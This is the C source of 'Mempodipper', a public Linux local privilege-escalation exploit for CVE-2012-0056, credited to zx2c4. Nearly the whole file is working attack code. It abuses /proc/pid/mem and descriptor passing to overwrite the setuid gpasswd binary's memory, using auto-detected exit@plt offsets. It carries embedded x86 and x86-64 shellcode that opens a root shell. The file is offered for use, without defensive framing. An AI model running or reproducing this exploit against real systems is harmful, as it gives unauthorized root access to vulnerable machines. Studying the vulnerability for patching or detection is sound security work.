/*
 * Mempodipper
 * by zx2c4
 *
 * Linux Local Root Exploit
 *
 * Rather than put my write up here, per usual, this time I've put it
 * in a rather lengthy blog post: http://blog.zx2c4.com/749
 *
 * Enjoy.
 *
 * - zx2c4
 * Jan 21, 2012
 *
 * CVE-2012-0056
 */
 
#define _LARGEFILE64_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>
 
int send_fd(int sock, int fd)
{
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    int n;
    char cms[CMSG_SPACE(sizeof(int))];
 
    buf[0] = 0;
    iov.iov_base = buf;
    iov.iov_len = 1;
 
    memset(&msg, 0, sizeof msg);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = CMSG_LEN(sizeof(int));
 
    cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_len = CMSG_LEN(sizeof(int));
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type = SCM_RIGHTS;
    memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
 
    if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
        return -1;
    close(sock);
    return 0;
}
 
int recv_fd(int sock)
{
    int n;
    int fd;
    char buf[1];
    struct iovec iov;
    struct msghdr msg;
    struct cmsghdr *cmsg;
    char cms[CMSG_SPACE(sizeof(int))];
   
    iov.iov_base = buf;
    iov.iov_len = 1;
 
    memset(&msg, 0, sizeof msg);
    msg.msg_name = 0;
    msg.msg_namelen = 0;
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
 
    msg.msg_control = (caddr_t)cms;
    msg.msg_controllen = sizeof cms;
 
    if ((n = recvmsg(sock, &msg, 0)) < 0)
        return -1;
    if (n == 0)
        return -1;
    cmsg = CMSG_FIRSTHDR(&msg);
    memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
    close(sock);
    return fd;
}
 
int main(int argc, char **argv)
{
    if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
        char parent_mem[256];
        sprintf(parent_mem, "/proc/%d/mem", getppid());
        printf("[+] Opening parent mem %s in child.\n", parent_mem);
        int fd = open(parent_mem, O_RDWR);
        if (fd < 0) {
            perror("[-] open");
            return 1;
        }
        printf("[+] Sending fd %d to parent.\n", fd);
        send_fd(atoi(argv[2]), fd);
        return 0;
    }
   
    printf("===============================\n");
    printf("=          Mempodipper        =\n");
    printf("=           by zx2c4          =\n");
    printf("=         Jan 21, 2012        =\n");
    printf("===============================\n\n");
   
    int sockets[2];
    printf("[+] Opening socketpair.\n");
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
        perror("[-] socketpair");
        return -1;
    }
    if (fork()) {
        printf("[+] Waiting for transferred fd in parent.\n");
        int fd = recv_fd(sockets[1]);
        printf("[+] Received fd at %d.\n", fd);
        if (fd < 0) {
            perror("[-] recv_fd");
            return -1;
        }
        printf("[+] Assigning fd %d to stderr.\n", fd);
        dup2(2, 6);
        dup2(fd, 2);
 
        unsigned long address;
        if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
            address = strtoul(argv[2], NULL, 16);
        else {
            printf("[+] Reading gpasswd for exit@plt.\n");
            // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
            FILE *command = popen("objdump -d /usr/bin/gpasswd|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
            char result[32];
            result[0] = 0;
            fgets(result, 32, command);
            pclose(command);
            address = strtoul(result, NULL, 16);
            if (address == ULONG_MAX || !address) {
                printf("[-] Could not resolve /usr/bin/gpasswd. Specify the exit@plt function address manually.\n");
                printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
                return 1;
            }
            printf("[+] Resolved exit@plt to 0x%lx.\n", address);
        }
        printf("[+] Calculating gpasswd padding.\n");
        FILE *command = popen("/usr/bin/gpasswd this-user-does-not-exist 2>&1", "r");
        char result[256];
        result[0] = 0;
        fgets(result, 256, command);
        pclose(command);
        unsigned long gpasswd_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
        unsigned long offset = address - gpasswd_padding;
        printf("[+] Seeking to offset 0x%lx.\n", offset);
        lseek64(fd, offset, SEEK_SET);
       
#if defined(__i386__)
        // See shellcode-32.s in this package for the source.
        char shellcode[] =
            "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
            "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
            "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
            "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
            "\x80";
#elif defined(__x86_64__)
        // See shellcode-64.s in this package for the source.
        char shellcode[] =
            "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
            "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
            "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
            "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
            "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
 
#else
#error "That platform is not supported."
#endif
        printf("[+] Executing gpasswd with shellcode.\n");
        execl("/usr/bin/gpasswd", "gpasswd", shellcode, NULL);
    } else {
        char sock[32];
        sprintf(sock, "%d", sockets[0]);
        printf("[+] Executing child from child fork.\n");
        execl("/proc/self/exe", argv[0], "-c", sock, NULL);
    }
}